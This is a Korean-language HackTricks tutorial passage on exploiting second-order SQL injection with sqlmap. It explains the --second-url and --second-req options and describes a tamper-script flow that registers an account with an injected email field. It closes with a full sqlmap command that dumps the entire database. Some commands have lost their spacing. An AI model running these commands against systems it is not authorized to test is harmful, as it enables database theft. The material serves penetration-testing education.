SQLMap은 Second Order SQL 인젝션을 악용할 수 있습니다.
다음을 제공해야 합니다:
SQL 인젝션 페이로드가 저장될 요청
페이로드가 실행될 요청
SQL 인젝션 페이로드가 저장된 요청은 sqlmap에서 다른 인젝션과 마찬가지로 표시됩니다. 인젝션의 출력/실행을 sqlmap이 읽을 수 있는 요청은 --second-url 또는 --second-req로 표시할 수 있습니다. 파일에서 완전한 요청을 지정해야 하는 경우 --second-req를 사용하세요.
간단한 Second Order 예시:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
여러 경우에는 이것만으로는 충분하지 않을 수 있습니다. 페이로드를 보내고 다른 페이지에 액세스하는 것 외에도 다른 작업을 수행해야 할 수 있습니다.
이럴 때는 sqlmap tamper를 사용할 수 있습니다. 예를 들어 다음 스크립트는 sqlmap 페이로드를 이메일로 사용하여 새로운 사용자를 등록하고 로그아웃합니다.
SQLMap 탬퍼는 페이로드로 인젝션 시도를 시작하기 전에 항상 실행되며, 페이로드를 반환해야 합니다. 이 경우에는 페이로드는 신경 쓰지 않고 몇 가지 요청을 보내는 것에 관심이 있으므로 페이로드는 변경되지 않습니다.
따라서, 두 번째 순서의 SQL 인젝션을 악용하기 위해 더 복잡한 플로우가 필요한 경우:
"이메일" 필드 내에 SQLi 페이로드를 포함하여 계정을 생성합니다.
로그아웃합니다.
해당 계정으로 로그인합니다 (login.txt).
SQL 인젝션을 실행하기 위해 요청을 보냅니다 (second.txt).
다음 sqlmap 명령어가 도움이 될 것입니다:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!